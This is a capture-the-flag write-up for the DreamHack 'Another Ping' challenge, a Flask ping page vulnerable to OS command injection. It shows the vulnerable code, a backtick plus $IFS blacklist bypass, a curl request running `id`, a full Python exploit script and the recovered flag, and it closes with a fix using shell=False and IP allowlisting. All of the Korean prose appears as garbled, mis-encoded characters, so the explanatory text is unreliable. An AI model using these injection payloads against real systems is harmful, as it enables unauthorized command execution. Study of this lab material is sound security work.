๋ฌธ์ : DreamHack โ Another Ping ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 2 FLAG:
DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}
"Another, yet boring ping utility?" ๋ผ๋ ์ค๋ช
๊ทธ๋๋ก, IP๋ฅผ ๋ฃ์ผ๋ฉด ์๋ฒ๊ฐ ping์ ๋๋ ค์ฃผ๋ ๋จ์ํ ํ์ด์ง๋ค. boringํ ๊ฑด ํ๋ฉด๋ฟ์ด๊ณ ๋ค์์๋ ์
๋ ฅ์ ์
ธ์ ๊ทธ๋๋ก ๋์ง๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Another Ping |
| ๋์ด๋ | ๐ฅ Bronze 2 |
| ๋ถ๋ฅ | Web (OS Command Injection) |
| ์ ๊ณต | Flask ์์ค + ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | shell=True ์ปค๋งจ๋ ์ธ์ ์
+ ๋ธ๋๋ฆฌ์คํธ ์ฐํ |
์๋ฒ ์ฝ๋๋ ์งง๋ค. /ping์ด ๋ฐ์ ip๋ฅผ ping -c 4 {ip} ๋ฌธ์์ด๋ก ๋ง๋ค์ด shell=True๋ก ์คํํ๊ณ , ๊ฒฐ๊ณผ stdout/stderr๋ฅผ JSON์ผ๋ก ๋๋ ค์ค๋ค. ์
๋ ฅ ๊ฒ์ฆ์ ๋ฌธ์ ๋ธ๋๋ฆฌ์คํธ ํ๋๋ฟ์ด๋ค.
๐ฌ ๋ถ์
์๋ฒ ์ฝ๋
FILTERED_CHARS = [' ', ';', '|', '&', '>', '<', '(', ')', '[', ']', '{', '}', '\n', '\r']
def is_valid_ip(ip):
ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
return bool(re.match(ip_pattern, ip))
def filter_input(user_input):
for char in FILTERED_CHARS:
if char in user_input:
return False, f"Invalid character detected: {char}"
return True, "OK"
@app.route('/ping', methods=['POST'])
def ping():
ip = request.form.get('ip', '').strip()
if not ip:
return jsonify({'error': 'IP address is required'}), 400
is_valid, message = filter_input(ip) # โ ๋ธ๋๋ฆฌ์คํธ๋ง ๊ฒ์ฌ
if not is_valid:
return jsonify({'error': message}), 400
cmd = f"ping -c 4 {ip}" # โ ์
๋ ฅ์ด ์
ธ ๋ฌธ์์ด์ ๊ทธ๋๋ก
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)
return jsonify({'command': cmd, 'stdout': result.stdout,
'stderr': result.stderr, 'returncode': result.returncode})์ฌ๊ธฐ์ ๋ ๊ฐ์ง๊ฐ ๋์ ๋ค์ด์จ๋ค.
cmd = f"ping -c 4 {ip}"๋ฅผ shell=True๋ก ๋๋ฆฐ๋ค. ์
๋ ฅ์ด ์
ธ ๋ช
๋ น ๋ฌธ์์ด์ ๊ทธ๋๋ก ๋ผ์ด ๋ค์ด๊ฐ๋ ์
ธ ๋ฉํ๋ฌธ์๋ฅผ ๋ฃ์ ์ ์์ผ๋ฉด ๋ช
๋ น ์ฃผ์
์ด๋ค.
๊ทธ๋ฆฌ๊ณ is_valid_ip(). IP ํ์์ ์ ๊ท์์ผ๋ก ๊ฒ์ฌํ๋ ํจ์๊ฐ ๋ถ๋ช
ํ ์๋๋ฐ, /ping ๋ผ์ฐํธ ์ด๋์์๋ ํธ์ถํ์ง ์๋๋ค. ์ ์๋ง ํด๋๊ณ ์ ์ด๋ค. ์ค์ ๋ก ๊ฑธ๋ฆฌ๋ ๋ฐฉ์ด๋ filter_input() ๋ธ๋๋ฆฌ์คํธ๊ฐ ์ ๋ถ๋ค.
์ ์ ๋์๊ณผ ๋ธ๋๋ฆฌ์คํธ
127.0.0.1์ ๋ฃ์ผ๋ฉด ํ๋ฒํ๊ฒ ping 4๋ฒ ๊ฒฐ๊ณผ๊ฐ ๋์์จ๋ค.

ํํ ์ฃผ์
๊ตฌ๋ถ์ ;๋ก ๋ช
๋ น์ ์ด์ด ๋ถ์ด๋ ค ํ๋ฉด ๋ฐ๋ก ๋งํ๋ค. 127.0.0.1; id๋ฅผ ๋ฃ์ผ๋ฉด ๊ณต๋ฐฑ(; ์ด์ ์ ๊ณต๋ฐฑ์ด ๋จผ์ ๊ฑธ๋ฆฐ๋ค)์์ ๊ฑธ๋ ค Invalid character detected: ๊ฐ ๋ฌ๋ค.

๋ธ๋๋ฆฌ์คํธ๋ฅผ ์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.
| ๋งํ ๋ฌธ์ | ์ํฅ |
|---|---|
' ' (๊ณต๋ฐฑ) | ์ธ์ ๊ตฌ๋ถ ๋ถ๊ฐ |
; \n \r | ๋ช ๋ น ์ข ๊ฒฐยท์ฐ๊ฒฐ ๋ถ๊ฐ |
| ` | &` |
> < | ๋ฆฌ๋ค์ด๋ ์ ๋ถ๊ฐ |
( ) | $(...) ๋ช
๋ น์นํ ๋ถ๊ฐ |
[ ] { } | brace ํ์ฅยท${IFS} ๋ถ๊ฐ |
์ด์ดํด ๋ณด์ด์ง๋ง ๋น ์ง ๊ฒ ์๋ค.
๐ฃ ํต์ฌ โ ๋น ์ง ๋ฐฑํฑ, ๊ทธ๋ฆฌ๊ณ $IFS
๋ธ๋๋ฆฌ์คํธ์ ๋ฐฑํฑ(`)์ด ์๋ค. $(...)๋ ๊ดํธ๊ฐ ๋งํ ๋ชป ์ฐ์ง๋ง, ๊ฐ์ ์ผ์ ํ๋ ์๋ ๋ฌธ๋ฒ์ธ ๋ฐฑํฑ ๋ช
๋ น์นํ์ ๊ทธ๋๋ก ์ด์ ์๋ค.
๋จ์ ๋ฌธ์ ๋ ๊ณต๋ฐฑ์ด๋ค. cat flag.txt์ฒ๋ผ ์ธ์๋ฅผ ๋์ฐ๋ ค๋ฉด ๊ณต๋ฐฑ์ด ํ์ํ๋ฐ ๊ทธ๊ฒ ๋งํ๋ค. ์
ธ์๋ ๊ณต๋ฐฑ์ ๋์ ํ ๋ณ์๊ฐ ์๋ค. $IFS(Internal Field Separator)๋ ๊ธฐ๋ณธ๊ฐ์ด ๊ณต๋ฐฑยทํญยท๊ฐํ์ด๋ผ, ํ ํฐ ์ฌ์ด์ ๋ผ์ ๋ฃ์ผ๋ฉด ๋จ์ด ๋ถ๋ฆฌ๊ฐ ์ผ์ด๋๋ค.
$IFS ๋ค์ ๋ฐ๋ก ๊ธ์๋ฅผ ๋ถ์ด๋ฉด $IFSflag ๊ฐ์ ๋ค๋ฅธ ๋ณ์๋ช
์ผ๋ก ์ฝํ๋ฏ๋ก, ๋น์ด ์๋ ์์น ์ธ์ $9๋ฅผ ๊ตฌ๋ถ์๋ก ๋ผ์ $IFS$9๋ก ๋ณ์๋ช
์ ๋์ด์ค๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก cat$IFS$9flag.txt๋ ์
ธ์์ cat๊ณผ flag.txt ๋ ํ ํฐ์ผ๋ก ๊ฐ๋ผ์ง๋ค.
์กฐ๋ฆฝํ๋ฉด ํ์ด๋ก๋๋ ์ด๋ ๋ค.
`cat$IFS$9flag.txt`์ด ์
๋ ฅ์ ๋ธ๋๋ฆฌ์คํธ์ ์ด๋ค ๋ฌธ์๋ ๊ฑด๋๋ฆฌ์ง ์๋๋ค. ๋ฐฑํฑยท$ยท9ยท. ์ ๋ถ ํ์ฉ ๋ฌธ์๋ค.

์ถ๋ ฅ์ ์ด๋ป๊ฒ ํ์ํ๋๋๊ฐ ๋จ์๋ค. ๋ฐฑํฑ ์์ cat์ด flag๋ฅผ ๋ฑ์ผ๋ฉด ๊ทธ ๋ฌธ์์ด์ด ping์ ์ธ์ ์๋ฆฌ์ ๋ค์ด๊ฐ๋ค. ping -c 4 DH{...} ๊ผด์ด ๋๊ณ , ping์ DH{...}๋ฅผ ํธ์คํธ๋ช
์ผ๋ก ํด์ํ๋ ค๋ค ์คํจํ๋ค. ๊ทธ ์คํจ ๋ฉ์์ง๊ฐ stderr๋ก ๋์ค๋๋ฐ, ์๋ฒ๋ stderr๋ฅผ JSON์ ๋ด์ ๊ทธ๋๋ก ๋๋ ค์ค๋ค. flag๊ฐ ์๋ฌ ๋ฉ์์ง์ ์ค๋ ค ๋์จ๋ค.
๐ฏ ํ์ด
ํ์ด๋ก๋๋ฅผ ๊ทธ๋๋ก ip์ ๋ฃ๊ณ Run.
`cat$IFS$9flag.txt`๊ฒฐ๊ณผ ํจ๋์ STDERR์ flag๊ฐ ์ฐํ๋ค.

Command: ping -c 4 `cat$IFS$9flag.txt`
=== STDERR ===
ping: DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}: Name or service not known
Return Code: 2๊ฐ์ ๋ฐฉ์์ผ๋ก ์์ ๋ช
๋ น์ด ๋๋์ง ํ์ธํด ๋ณด๋ฉด ๊ถํ๋ ๋๋ฌ๋๋ค. `id` ๋ฅผ ๋ฃ์ผ๋ฉด groups=0(root) ๊ฐ ๋ณด์ธ๋ค โ ์ปจํ
์ด๋ ์์์ root๋ก ์คํ ์ค์ด๋ค.
$ curl -s -X POST http://host8.dreamhack.games:12801/ping --data-urlencode 'ip=`id`'
{"stderr": "ping: groups=0(root): Name or service not known\n", ...}id์ ์ถ๋ ฅ์ ๊ณต๋ฐฑ์ด ๋ค์ด ์์ด ๋จ์ด ๋ถ๋ฆฌ๋๋ฉฐ ๋ง์ง๋ง ํ ํฐ๋ง ping์ ๋จ์ง๋ง, ๋ช
๋ น์ด ์ค์ ๋ก ์คํ๋๋ค๋ ์ฌ์ค์ ์ถฉ๋ถํ ๋ณด์ธ๋ค. ๋จ์ด ๋ถ๋ฆฌ ์์ด ํ ์ค์ ํต์งธ๋ก ํ์ํ๊ณ ์ถ์ ๋ cat$IFS$9flag.txt์ฒ๋ผ ์ถ๋ ฅ์ด ๊ณต๋ฐฑ ์๋ ๋ช
๋ น์ ๊ณ ๋ฅด๋ฉด ๊น๋ํ๋ค.
๐ Full Exploit
requests๋ก ํ์ด๋ก๋๋ฅผ ๋์ง๊ณ stderr์์ flag๋ง ๋ฝ์๋ด๋ ์คํฌ๋ฆฝํธ.
#!/usr/bin/env python3
import re
import requests
BASE = "http://host8.dreamhack.games:12801"
def run(ip):
return requests.post(f"{BASE}/ping", data={"ip": ip}, timeout=15).json()
def leak(cmd_no_space):
# ๋ฐฑํฑ ๋ช
๋ น์นํ + $IFS ๋ก ๊ณต๋ฐฑ ์ฐํ, ping stderr ๋ก ๊ฒฐ๊ณผ ํ์
res = run("`" + cmd_no_space + "`")
return res.get("stderr", "") or res.get("stdout", "")
if __name__ == "__main__":
print("[*] id ->", leak("id").strip())
out = leak("cat$IFS$9flag.txt").strip()
m = re.search(r"DH\{[^}]+\}", out)
print("[+] FLAG:", m.group(0) if m else "(not found)")[*] id -> ping: groups=0(root): Name or service not known
[*] raw -> ping: DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}: Name or service not known
[+] FLAG: DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}
๐ ๊ฒฐ๋ก
๋ธ๋๋ฆฌ์คํธ๋ ๋น ๋จ๋ฆฐ ํ ๊ธ์์์ ๋ฌด๋์ง๋ค.
; | & ( ) { } ๊น์ง ๋ง์๋ ํํฐ์์ง๋ง ๋ฐฑํฑ ํ๋๊ฐ ๋น ์ก๊ณ , ๋ช
๋ น์นํ์ ๊ทธ ํ์ผ๋ก ๊ทธ๋๋ก ๋ค์ด์๋ค. ์
ธ ๋ฉํ๋ฌธ์๋ ์ข
๋ฅ๊ฐ ๋ง์ "์ํํ ๊ฑธ ๋ค ์ ์ด ๋ง๋" ์ ๊ทผ์ผ๋ก๋ ํ ์นธ์ฉ ์๊ธฐ ๋ง๋ จ์ด๋ค.
๊ณต๋ฐฑ์ ๋ง์๋ $IFS๊ฐ ์๋ค.
๊ณต๋ฐฑ ํํฐ๋ ์ปค๋งจ๋ ์ธ์ ์
๋ฐฉ์ด์์ ํํ ๋ณด์ด์ง๋ง ์
ธ์๋ ๊ณต๋ฐฑ์ ๋์ ํ ์๋จ์ด ์ฌ๋ฟ ์๋ค. $IFS, ํญ ๋ฌธ์, brace ํ์ฅ ๋ฑ. ๊ณต๋ฐฑ๋ง ๋ง์์ ์ธ์ ๋ถ๋ฆฌ๋ฅผ ๋ชป ํ๊ฒ ํ๋ค๊ณ ์์ฌํ ์ ์๋ค.
์ ์ฐ๋ ๊ฒ์ฆ ํจ์๋ ๋ฐฉ์ด๊ฐ ์๋๋ค.
is_valid_ip()๋ก IP ํ์์ ๊ฐ์ ํ๋ค๋ฉด ์ด ์ฃผ์
์ ์ฒ์๋ถํฐ ๋ถ๊ฐ๋ฅํ๋ค. ์ ์ํด ๋๊ณ ํธ์ถํ์ง ์์ผ๋ฉด ์ฝ๋ ๋ฆฌ๋ทฐ์์ "๊ฒ์ฆํ๊ณ ์๋ค"์ฒ๋ผ ๋ณด์ผ ๋ฟ ์ค์ ๋ก๋ ์๋ฌด ์ผ๋ ํ์ง ์๋๋ค. ์ ๋๋ก ๋ ๋ฐฉ์ด๋ subprocess.run(["ping", "-c", "4", ip], shell=False)๋ก ์
ธ์ ๊ฑฐ์น์ง ์๊ณ , ์
๋ ฅ์ IP ํ์ดํธ๋ฆฌ์คํธ(์ ๊ท์ ํต๊ณผ๋ถ๋ง)๋ก ๋ฐ๋ ๊ฒ์ด๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ